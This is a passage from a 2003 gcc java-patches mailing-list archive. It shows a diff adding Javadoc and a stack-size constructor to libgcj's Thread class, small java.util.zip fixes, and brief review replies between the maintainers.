stderr using the same + * format as Throwable's printStackTrace() method. + * + * @see Throwable#printStackTrace() + */ public static void dumpStack () { (new Exception ("Stack trace")).printStackTrace (); } + /** + * Copy every active thread in the current Thread's ThreadGroup into the + * array. Extra threads are silently ignored. This implementation calls + * getThreadGroup().enumerate(array), which may have a + * security check, checkAccess(group). + * + * @param array the array to place the Threads into + * @return the number of Threads placed into the array + * @throws NullPointerException if array is null + * @throws SecurityException if you cannot access the ThreadGroup + * @see ThreadGroup#enumerate(Thread[]) + * @see #activeCount() + * @see SecurityManager#checkAccess(ThreadGroup) + */ public static int enumerate (Thread[] threads) { return currentThread().group.enumerate(threads); } ! ! /** ! * Get this Thread's name. ! * ! * @return this Thread's name ! */ public final String getName () { return name; } + /** + * Get this Thread's priority. + * + * @return the Thread's priority + */ public final int getPriority () { return priority; } + /** + * Get the ThreadGroup this Thread belongs to. If the thread has died, this + * returns null. + * + * @return this Thread's ThreadGroup + */ public final ThreadGroup getThreadGroup () { return group; } + /** + * Interrupt this Thread. First, there is a security check, + * checkAccess. Then, depending on the current state of the + * thread, various actions take place: + * + *

If the thread is waiting because of {@link #wait()}, + * {@link #sleep(long)}, or {@link #join()}, its interrupt status + * will be cleared, and an InterruptedException will be thrown. Notice that + * this case is only possible if an external thread called interrupt(). + * + *

If the thread is blocked in an interruptible I/O operation, in + * {@link java.nio.channels.InterruptibleChannel}, the interrupt + * status will be set, and ClosedByInterruptException will be thrown. + * + *

If the thread is blocked on a {@link java.nio.channels.Selector}, the + * interrupt status will be set, and the selection will return, with + * a possible non-zero value, as though by the wakeup() method. + * + *

Otherwise, the interrupt status will be set. + * + * @throws SecurityException if you cannot modify this Thread + */ public native void interrupt (); + /** + * Determine whether the current Thread has been interrupted, and clear + * the interrupted status in the process. + * + * @return whether the current Thread has been interrupted + * @see #isInterrupted() + */ public static boolean interrupted () { return currentThread().isInterrupted (true); } ! /** ! * Determine whether the given Thread has been interrupted, but leave ! * the interrupted status alone in the process. ! * ! * @return whether the current Thread has been interrupted ! * @see #interrupted() ! */ public boolean isInterrupted () { return interrupt_flag; } + /** + * Determine whether this Thread is alive. A thread which is alive has + * started and not yet died. + * + * @return whether this Thread is alive + */ public final boolean isAlive () { return alive_flag; } + /** + * Tell whether this is a daemon Thread or not. + * + * @return whether this is a daemon Thread or not + * @see #setDaemon(boolean) + */ public final boolean isDaemon () { return daemon_flag; } + /** + * Wait forever for the Thread in question to die. + * + * @throws InterruptedException if the Thread is interrupted; it's + * interrupted status will be cleared + */ public final void join () throws InterruptedException { join (0, 0); } + /** + * Wait the specified amount of time for the Thread in question to die. + * + * @param ms the number of milliseconds to wait, or 0 for forever + * @throws InterruptedException if the Thread is interrupted; it's + * interrupted status will be cleared + */ public final void join (long timeout) throws InterruptedException { join (timeout, 0); } + /** + * Wait the specified amount of time for the Thread in question to die. + * + *

Note that 1,000,000 nanoseconds == 1 millisecond, but most VMs do + * not offer that fine a grain of timing resolution. Besides, there is + * no guarantee that this thread can start up immediately when time expires, + * because some other thread may be active. So don't expect real-time + * performance. + * + * @param ms the number of milliseconds to wait, or 0 for forever + * @param ns the number of extra nanoseconds to sleep (0-999999) + * @throws InterruptedException if the Thread is interrupted; it's + * interrupted status will be cleared + * @throws IllegalArgumentException if ns is invalid + * @XXX A ThreadListener would be nice, to make this efficient. + */ public final native void join (long timeout, int nanos) throws InterruptedException; + /** + * Resume a suspended thread. + * + * @see #resume() + */ public final native void resume (); private final native void finish_ (); ! /** ! * Determine whether the given Thread has been interrupted, but leave ! * the interrupted status alone in the process. ! * ! * @return whether the current Thread has been interrupted ! * @see #interrupted() ! */ private boolean isInterrupted (boolean clear_flag) { boolean r = interrupt_flag; *************** *** 128,139 **** --- 322,352 ---- return r; } + /** + * The method of Thread that will be run if there is no Runnable object + * associated with the Thread. Thread's implementation does nothing at all. + * + * @see #start() + * @see #Thread(ThreadGroup, Runnable, String) + */ public void run () { if (runnable != null) runnable.run(); } + /** + * Set the daemon status of this Thread. If this is a daemon Thread, then + * the VM may exit even if it is still running. This may only be called + * before the Thread starts running. There may be a security check, + * checkAccess. + * + * @param daemon whether this should be a daemon thread or not + * @throws SecurityException if you cannot modify this Thread + * @throws IllegalThreadStateException if the Thread is active + * @see #isDaemon() + * @see #checkAccess() + */ public final void setDaemon (boolean status) { checkAccess (); *************** *** 142,147 **** --- 355,374 ---- daemon_flag = status; } + /** + * Returns the context classloader of this Thread. The context + * classloader can be used by code that want to load classes depending + * on the current thread. Normally classes are loaded depending on + * the classloader of the current class. There may be a security check + * for RuntimePermission("getClassLoader") if the caller's + * class loader is not null or an ancestor of this thread's context class + * loader. + * + * @return the context class loader + * @throws SecurityException when permission is denied + * @see setContextClassLoader(ClassLoader) + * @since 1.2 + */ public synchronized ClassLoader getContextClassLoader() { if (context_class_loader == null) *************** *** 168,173 **** --- 395,414 ---- return context_class_loader; } + /** + * Returns the context classloader of this Thread. The context + * classloader can be used by code that want to load classes depending + * on the current thread. Normally classes are loaded depending on + * the classloader of the current class. There may be a security check + * for RuntimePermission("getClassLoader") if the caller's + * class loader is not null or an ancestor of this thread's context class + * loader. + * + * @return the context class loader + * @throws SecurityException when permission is denied + * @see setContextClassLoader(ClassLoader) + * @since 1.2 + */ public synchronized void setContextClassLoader(ClassLoader cl) { SecurityManager s = System.getSecurityManager (); *************** *** 176,181 **** --- 417,430 ---- context_class_loader = cl; } + /** + * Set this Thread's name. There may be a security check, + * checkAccess. + * + * @param name the new name for this Thread + * @throws NullPointerException if name is null + * @throws SecurityException if you cannot modify this Thread + */ public final void setName (String n) { checkAccess (); *************** *** 186,202 **** --- 435,532 ---- name = n; } + /** + * Set this Thread's priority. There may be a security check, + * checkAccess, then the priority is set to the smaller of + * priority and the ThreadGroup maximum priority. + * + * @param priority the new priority for this Thread + * @throws IllegalArgumentException if priority exceeds MIN_PRIORITY or + * MAX_PRIORITY + * @throws SecurityException if you cannot modify this Thread + * @see #getPriority() + * @see #checkAccess() + * @see ThreadGroup#getMaxPriority() + * @see #MIN_PRIORITY + * @see #MAX_PRIORITY + */ public final native void setPriority (int newPriority); + /** + * Suspend the current Thread's execution for the specified amount of + * time. The Thread will not lose any locks it has during this time. There + * are no guarantees which thread will be next to run, but most VMs will + * choose the highest priority thread that has been waiting longest. + * + * @param ms the number of milliseconds to sleep, or 0 for forever + * @throws InterruptedException if the Thread is interrupted; it's + * interrupted status will be cleared + * @see #notify() + * @see #wait(long) + */ public static void sleep (long timeout) throws InterruptedException { sleep (timeout, 0); } + /** + * Suspend the current Thread's execution for the specified amount of + * time. The Thread will not lose any locks it has during this time. There + * are no guarantees which thread will be next to run, but most VMs will + * choose the highest priority thread that has been waiting longest. + * + *

Note that 1,000,000 nanoseconds == 1 millisecond, but most VMs do + * not offer that fine a grain of timing resolution. Besides, there is + * no guarantee that this thread can start up immediately when time expires, + * because some other thread may be active. So don't expect real-time + * performance. + * + * @param ms the number of milliseconds to sleep, or 0 for forever + * @param ns the number of extra nanoseconds to sleep (0-999999) + * @throws InterruptedException if the Thread is interrupted; it's + * interrupted status will be cleared + * @throws IllegalArgumentException if ns is invalid + * @see #notify() + * @see #wait(long, int) + */ public static native void sleep (long timeout, int nanos) throws InterruptedException; + + /** + * Start this Thread, calling the run() method of the Runnable this Thread + * was created with, or else the run() method of the Thread itself. This + * is the only way to start a new thread; calling run by yourself will just + * stay in the same thread. The virtual machine will remove the thread from + * its thread group when the run() method completes. + * + * @throws IllegalThreadStateException if the thread has already started + * @see #run() + */ public native void start (); + /** + * Cause this Thread to stop abnormally because of the throw of a ThreadDeath + * error. If you stop a Thread that has not yet started, it will stop + * immediately when it is actually started. + * + *

This is inherently unsafe, as it can interrupt synchronized blocks and + * leave data in bad states. Hence, there is a security check: + * checkAccess(this), plus another one if the current thread + * is not this: RuntimePermission("stopThread"). If you must + * catch a ThreadDeath, be sure to rethrow it after you have cleaned up. + * ThreadDeath is the only exception which does not print a stack trace when + * the thread dies. + * + * @throws SecurityException if you cannot stop the Thread + * @see #interrupt() + * @see #checkAccess() + * @see #start() + * @see ThreadDeath + * @see ThreadGroup#uncaughtException(Thread, Throwable) + * @see SecurityManager#checkAccess(Thread) + * @see SecurityManager#checkPermission(Permission) + * @deprecated unsafe operation, try not to use + */ public final void stop () { // Argument doesn't matter, because this is no longer *************** *** 204,216 **** --- 534,615 ---- stop (null); } + /** + * Cause this Thread to stop abnormally and throw the specified exception. + * If you stop a Thread that has not yet started, it will stop immediately + * when it is actually started. WARNINGThis bypasses Java security, + * and can throw a checked exception which the call stack is unprepared to + * handle. Do not abuse this power. + * + *

This is inherently unsafe, as it can interrupt synchronized blocks and + * leave data in bad states. Hence, there is a security check: + * checkAccess(this), plus another one if the current thread + * is not this: RuntimePermission("stopThread"). If you must + * catch a ThreadDeath, be sure to rethrow it after you have cleaned up. + * ThreadDeath is the only exception which does not print a stack trace when + * the thread dies. + * + * @param t the Throwable to throw when the Thread dies + * @throws SecurityException if you cannot stop the Thread + * @throws NullPointerException in the calling thread, if t is null + * @see #interrupt() + * @see #checkAccess() + * @see #start() + * @see ThreadDeath + * @see ThreadGroup#uncaughtException(Thread, Throwable) + * @see SecurityManager#checkAccess(Thread) + * @see SecurityManager#checkPermission(Permission) + * @deprecated unsafe operation, try not to use + */ public final native void stop (Throwable e); + + /** + * Suspend this Thread. It will not come back, ever, unless it is resumed. + * + *

This is inherently unsafe, as the suspended thread still holds locks, + * and can potentially deadlock your program. Hence, there is a security + * check: checkAccess. + * + * @throws SecurityException if you cannot suspend the Thread + * @see #checkAccess() + * @see #resume() + * @deprecated unsafe operation, try not to use + */ public final native void suspend (); private final native void initialize_native (); private final native static String gen_name (); + /** + * Allocate a new Thread object, with the specified ThreadGroup and name, and + * using the specified Runnable object's run() method to + * execute. If the Runnable object is null, this (which is + * a Runnable) is used instead. + * + *

If the ThreadGroup is null, the security manager is checked. If a + * manager exists and returns a non-null object for + * getThreadGroup, that group is used; otherwise the group + * of the creating thread is used. Note that the security manager calls + * checkAccess if the ThreadGroup is not null. + * + *

The new Thread will inherit its creator's priority and daemon status. + * These can be changed with setPriority and + * setDaemon. + * + * @param group the group to put the Thread into + * @param target the Runnable object to execute + * @param name the name for the Thread + * @throws NullPointerException if name is null + * @throws SecurityException if this thread cannot access group + * @throws IllegalThreadStateException if group is destroyed + * @see Runnable#run() + * @see #run() + * @see #setDaemon(boolean) + * @see #setPriority(int) + * @see SecurityManager#checkAccess(ThreadGroup) + * @see ThreadGroup#checkAccess() + */ public Thread (ThreadGroup g, Runnable r, String n) { this (currentThread (), g, r, n); *************** *** 221,226 **** --- 620,656 ---- throw new NullPointerException (); } + /** + * Allocate a new Thread object, as if by + * Thread(group, null, name), and give it the specified stack + * size, in bytes. The stack size is highly platform independent, + * and the virtual machine is free to round up or down, or ignore it + * completely. A higher value might let you go longer before a + * StackOverflowError, while a lower value might let you go + * longer before an OutOfMemoryError. Or, it may do absolutely + * nothing! So be careful, and expect to need to tune this value if your + * virtual machine even supports it. + * + * @param group the group to put the Thread into + * @param target the Runnable object to execute + * @param name the name for the Thread + * @param size the stack size, in bytes; 0 to be ignored + * @throws NullPointerException if name is null + * @throws SecurityException if this thread cannot access group + * @throws IllegalThreadStateException if group is destroyed + * @since 1.4 + */ + public Thread (ThreadGroup g, Runnable r, String n, long size) + { + // Just ignore stackSize for now. + this (currentThread (), g, r, n); + + // The Class Libraries book says ``threadName cannot be null''. I + // take this to mean NullPointerException. + if (n == null) + throw new NullPointerException (); + } + private Thread (Thread current, ThreadGroup g, Runnable r, String n) { if (g == null) *************** *** 264,305 **** --- 694,845 ---- initialize_native (); } + /** + * Allocates a new Thread object. This constructor has + * the same effect as Thread(null, null, + * gname), where gname is + * a newly generated name. Automatically generated names are of the + * form "Thread-"+n, where n is an integer. + *

+ * Threads created this way must have overridden their + * run() method to actually do anything. An example + * illustrating this method being used follows: + *

+    *     import java.lang.*;
+    *
+    *     class plain01 implements Runnable {
+    *         String name;
+    *         plain01() {
+    *             name = null;
+    *         }
+    *         plain01(String s) {
+    *             name = s;
+    *         }
+    *         public void run() {
+    *             if (name == null)
+    *                 System.out.println("A new thread created");
+    *             else
+    *                 System.out.println("A new thread with name " + name +
+    *                                    " created");
+    *         }
+    *     }
+    *     class threadtest01 {
+    *         public static void main(String args[] ) {
+    *             int failed = 0 ;
+    *
+    *             Thread t1 = new Thread();
+    *             if (t1 != null)
+    *                 System.out.println("new Thread() succeed");
+    *             else {
+    *                 System.out.println("new Thread() failed");
+    *                 failed++;
+    *             }
+    *         }
+    *     }
+    * 
+ * + * @see java.lang.Thread#Thread(java.lang.ThreadGroup, + * java.lang.Runnable, java.lang.String) + */ public Thread () { this (null, null, gen_name ()); } + /** + * Allocates a new Thread object. This constructor has + * the same effect as Thread(null, target, + * gname), where gname is + * a newly generated name. Automatically generated names are of the + * form "Thread-"+n, where n is an integer. + * + * @param target the object whose run method is called. + * @see java.lang.Thread#Thread(java.lang.ThreadGroup, + * java.lang.Runnable, java.lang.String) + */ public Thread (Runnable r) { this (null, r, gen_name ()); } + /** + * Allocates a new Thread object. This constructor has + * the same effect as Thread(null, null, name). + * + * @param name the name of the new thread. + * @see java.lang.Thread#Thread(java.lang.ThreadGroup, + * java.lang.Runnable, java.lang.String) + */ public Thread (String n) { this (null, null, n); } + /** + * Allocates a new Thread object. This constructor has + * the same effect as Thread(group, target, + * gname), where gname is + * a newly generated name. Automatically generated names are of the + * form "Thread-"+n, where n is an integer. + * + * @param group the thread group. + * @param target the object whose run method is called. + * @exception SecurityException if the current thread cannot create a + * thread in the specified thread group. + * @see java.lang.Thread#Thread(java.lang.ThreadGroup, + * java.lang.Runnable, java.lang.String) + */ public Thread (ThreadGroup g, Runnable r) { this (g, r, gen_name ()); } + /** + * Allocates a new Thread object. This constructor has + * the same effect as Thread(group, null, name) + * + * @param group the thread group. + * @param name the name of the new thread. + * @exception SecurityException if the current thread cannot create a + * thread in the specified thread group. + * @see java.lang.Thread#Thread(java.lang.ThreadGroup, + * java.lang.Runnable, java.lang.String) + */ public Thread (ThreadGroup g, String n) { this (g, null, n); } + /** + * Allocates a new Thread object. This constructor has + * the same effect as Thread(null, target, name). + * + * @param target the object whose run method is called. + * @param name the name of the new thread. + * @see java.lang.Thread#Thread(java.lang.ThreadGroup, + * java.lang.Runnable, java.lang.String) + */ public Thread (Runnable r, String n) { this (null, r, n); } + /** + * Returns a string representation of this thread, including the + * thread's name, priority, and thread group. + * + * @return a string representation of this thread. + */ public String toString () { return "Thread[" + name + "," + priority + "," + (group == null ? "" : group.getName()) + "]"; } + /** + * Causes the currently executing thread object to temporarily pause + * and allow other threads to execute. + */ public static native void yield (); // Private data. From java-patches-return-6240-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 21 12:35:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26516 invoked by alias); 21 Feb 2003 12:35:50 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26503 invoked from network); 21 Feb 2003 12:35:50 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 21 Feb 2003 12:35:50 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18mCNn-0005Pl-00 for ; Fri, 21 Feb 2003 13:34:27 +0100 Subject: FYI: ZipFile.finalize() From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: multipart/mixed; boundary="=-/ucY5kUGXDo5M/CgiVWE" Organization: Message-Id: <1045830888.3352.478.camel@elsschot> Mime-Version: 1.0 Date: 21 Feb 2003 13:34:48 +0100 --=-/ucY5kUGXDo5M/CgiVWE Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, This Classpath patch makes our java.util.zip 100% API compatible according to japi. 2003-02-21 Mark Wielaard * java/util/zip/ZipFile.java (finalize): New method. I am committing this on branch and mainline. Cheers, Mark --=-/ucY5kUGXDo5M/CgiVWE Content-Disposition: inline; filename=ZipFile.diff Content-Type: text/x-patch; name=ZipFile.diff; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: java/util/zip/ZipFile.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/util/zip/ZipFile.java,v retrieving revision 1.20 diff -u -r1.20 ZipFile.java --- java/util/zip/ZipFile.java 2 Jan 2003 21:01:24 -0000 1.20 +++ java/util/zip/ZipFile.java 21 Feb 2003 12:31:20 -0000 @@ -305,6 +305,15 @@ } /** + * Calls the close() method when this ZipFile has not yet + * been explicitly closed. + */ + protected void finalize() throws IOException + { + if (!closed) close(); + } + + /** * Returns an enumeration of all Zip entries in this Zip file. */ public Enumeration entries() --=-/ucY5kUGXDo5M/CgiVWE-- From java-patches-return-6241-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 21 12:53:36 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4240 invoked by alias); 21 Feb 2003 12:53:36 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4233 invoked from network); 21 Feb 2003 12:53:36 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 21 Feb 2003 12:53:36 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18mCez-0005QQ-00 for ; Fri, 21 Feb 2003 13:52:13 +0100 Subject: FYI: ZipEntry(String) with length > 65535 From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: multipart/mixed; boundary="=-kFUH3E1HcUCqfN8V3BVt" Organization: Message-Id: <1045831954.3361.486.camel@elsschot> Mime-Version: 1.0 Date: 21 Feb 2003 13:52:34 +0100 --=-kFUH3E1HcUCqfN8V3BVt Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, The following fixes a deficiency in ZipEntry as pointed out by a bug report against GNU Classpath. The zip format doesn't support very large file names. There is also a new Mauve test that passes with this fix. 2003-02-21 Mark Wielaard * java/util/zip/ZipEntry.java (ZipEntry(String)): When name is bigger then 65535 chars throw IllegalArgumentException. I am committing this to branch and mainline. Cheers, Mark --=-kFUH3E1HcUCqfN8V3BVt Content-Disposition: attachment; filename=ZipEntry.diff Content-Type: text/x-patch; name=ZipEntry.diff; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: java/util/zip/ZipEntry.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/util/zip/ZipEntry.java,v retrieving revision 1.15 diff -u -r1.15 ZipEntry.java --- java/util/zip/ZipEntry.java 3 Dec 2002 22:06:31 -0000 1.15 +++ java/util/zip/ZipEntry.java 21 Feb 2003 12:49:24 -0000 @@ -84,11 +84,15 @@ * Creates a zip entry with the given name. * @param name the name. May include directory components separated * by '/'. + * + * @exception NullPointerException when name is null. + * @exception IllegalArgumentException when name is bigger then 65535 chars. */ public ZipEntry(String name) { - if (name == null) - throw new NullPointerException(); + int length = name.length(); + if (length > 65535) + throw new IllegalArgumentException("name length is " + length); this.name = name; } --=-kFUH3E1HcUCqfN8V3BVt-- From java-patches-return-6242-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 21 15:20:22 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7913 invoked by alias); 21 Feb 2003 15:20:22 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7881 invoked from network); 21 Feb 2003 15:20:21 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 21 Feb 2003 15:20:21 -0000 Received: from fleche.redhat.com (tf0105.peakpeak.com [204.144.239.105]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id IAA30868; Fri, 21 Feb 2003 08:20:20 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C3F8A4F828E; Fri, 21 Feb 2003 08:11:41 -0700 (MST) To: Anthony Green Cc: java-patches@gcc.gnu.org Subject: Re: Deprecate ClassLoader method References: <1045820869.11019.1620.camel@escape> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I always wanted a NOSE JOB!! Date: 21 Feb 2003 08:11:41 -0700 In-Reply-To: <1045820869.11019.1620.camel@escape> Message-ID: <87y949hdn6.fsf@fleche.redhat.com> Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Anthony" == Anthony Green writes: Anthony> This was identified by japi. Ok? Anthony> 2003-02-21 Anthony Green Anthony> * java/lang/ClassLoader.java (defineClass): Deprecate. Yes, thanks. This can go in 3.3 and should probably go in Classpath as well (I didn't check). I can put it in those 2 trees if you like. Tom From java-patches-return-6243-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 21 15:28:13 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16719 invoked by alias); 21 Feb 2003 15:28:13 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16705 invoked from network); 21 Feb 2003 15:28:12 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 21 Feb 2003 15:28:12 -0000 Received: from fleche.redhat.com (tf0105.peakpeak.com [204.144.239.105]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id IAA32671; Fri, 21 Feb 2003 08:28:11 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C69384F828E; Fri, 21 Feb 2003 08:19:32 -0700 (MST) To: Anthony Green Cc: java-patches@gcc.gnu.org Subject: Re: Patch: Class.finalize() throws a Throwable References: <1045821964.11019.1632.camel@escape> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I guess it was all a DREAM.. or an episode of HAWAII FIVE-O... Date: 21 Feb 2003 08:19:32 -0700 In-Reply-To: <1045821964.11019.1632.camel@escape> Message-ID: <87smuhhda3.fsf@fleche.redhat.com> Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Anthony" == Anthony Green writes: Anthony> Identified by japi. Ok? Anthony> 2002-02-21 Anthony Green Anthony> * java/lang/Class.java (finalize): throws a Throwable. Ok. This is a funny one. Maybe we shouldn't even have a finalize method in Class. Instead we could just register a finalizer for those classes which really need one. OTOH, we'll need the finalizer if we ever figure out how to finalize a compiled class. Tom From java-patches-return-6244-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 21 16:55:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19442 invoked by alias); 21 Feb 2003 16:55:26 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19431 invoked from network); 21 Feb 2003 16:55:25 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 21 Feb 2003 16:55:25 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18mGRx-0005qr-00 for ; Fri, 21 Feb 2003 17:55:01 +0100 Subject: FYI: Another ZipEntry fixlet From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: multipart/mixed; boundary="=-4LGPtuQLCTMwqMZd+Gjz" Organization: Message-Id: <1045846522.3354.495.camel@elsschot> Mime-Version: 1.0 Date: 21 Feb 2003 17:55:23 +0100 --=-4LGPtuQLCTMwqMZd+Gjz Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, An anonymous GNU Classpath reporter keeps finding little bugs in out java.util.zip implementation. I have added a new Mauve test for this and checked that it gets fixeed with this patch. 2003-02-21 Mark Wielaard * java/util/zip/ZipEntry.java (setComment): Don't check length when argument is null. I am checking this in to the branch and mainline. Cheers, Mark --=-4LGPtuQLCTMwqMZd+Gjz Content-Disposition: inline; filename=ZipEntry.diff Content-Type: text/x-patch; name=ZipEntry.diff; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: java/util/zip/ZipEntry.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/util/zip/ZipEntry.java,v retrieving revision 1.16 diff -u -r1.16 ZipEntry.java --- java/util/zip/ZipEntry.java 21 Feb 2003 14:08:40 -0000 1.16 +++ java/util/zip/ZipEntry.java 21 Feb 2003 16:52:27 -0000 @@ -369,7 +369,7 @@ */ public void setComment(String comment) { - if (comment.length() > 0xffff) + if (comment != null && comment.length() > 0xffff) throw new IllegalArgumentException(); this.comment = comment; } --=-4LGPtuQLCTMwqMZd+Gjz-- From java-patches-return-6245-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 21 19:10:02 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21760 invoked by alias); 21 Feb 2003 19:10:02 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21753 invoked from network); 21 Feb 2003 19:10:01 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 21 Feb 2003 19:10:01 -0000 Received: from fleche.redhat.com (tf0105.peakpeak.com [204.144.239.105]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA08654; Fri, 21 Feb 2003 12:10:00 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 0E07F4F83ED; Fri, 21 Feb 2003 12:01:24 -0700 (MST) To: Anthony Green Cc: java-patches@gcc.gnu.org Subject: Re: Patch: Thread doc merge and new method References: <1045824633.11019.1694.camel@escape> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: What a COINCIDENCE! I'm an authorized ``SNOOTS OF THE STARS'' dealer!! Date: 21 Feb 2003 12:01:23 -0700 In-Reply-To: <1045824633.11019.1694.camel@escape> Message-ID: <87el61e9vg.fsf@fleche.redhat.com> Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Anthony" == Anthony Green writes: Anthony> This patch adds a missing constructor that accepts a stack Anthony> size argument. The spec says that implementations can ignore Anthony> it. Anthony> I also merged Classpath docs into the source. Anthony> Ok? Yes. Tell me if you want me to put this in 3.3 for you. How hard would it be to fully merge Thread? Or more fully merge it? Tom From java-patches-return-6246-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 21 19:22:31 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31443 invoked by alias); 21 Feb 2003 19:22:31 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31436 invoked from network); 21 Feb 2003 19:22:30 -0000 Received: from unknown (HELO mx2.redhat.com) (12.150.115.133) by 172.16.49.205 with SMTP; 21 Feb 2003 19:22:30 -0000 Received: from int-mx2.corp.redhat.com (int-mx2.corp.redhat.com [172.16.27.26]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id h1LJFvN03555 for ; Fri, 21 Feb 2003 14:15:57 -0500 Received: from potter.sfbay.redhat.com (potter.sfbay.redhat.com [172.16.27.15]) by int-mx2.corp.redhat.com (8.11.6/8.11.6) with ESMTP id h1LJMTn00659; Fri, 21 Feb 2003 14:22:29 -0500 Received: from to-dhcp18.toronto.redhat.com (to-dhcp18.toronto.redhat.com [172.16.14.118]) by potter.sfbay.redhat.com (8.11.6/8.11.6) with ESMTP id h1LJMSQ28100; Fri, 21 Feb 2003 11:22:28 -0800 Subject: Re: Patch: Thread doc merge and new method From: Anthony Green To: Tom Tromey Cc: java-patches@gcc.gnu.org In-Reply-To: <87el61e9vg.fsf@fleche.redhat.com> References: <1045824633.11019.1694.camel@escape> <87el61e9vg.fsf@fleche.redhat.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: 21 Feb 2003 11:25:38 -0800 Message-Id: <1045855540.17559.80.camel@escape> Mime-Version: 1.0 On Fri, 2003-02-21 at 11:01, Tom Tromey wrote: > Tell me if you want me to put this in 3.3 for you. I don't think this is important. > How hard would it be to fully merge Thread? Or more fully merge it? I don't know. I'll look at it more carefully. We have things like RawData in our implementation. BTW - thanks for getting the japi stuff working. I think it will be very useful once we get the bugs ironed out. AG From java-patches-return-6247-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 21 20:03:16 2003 Return-Path: 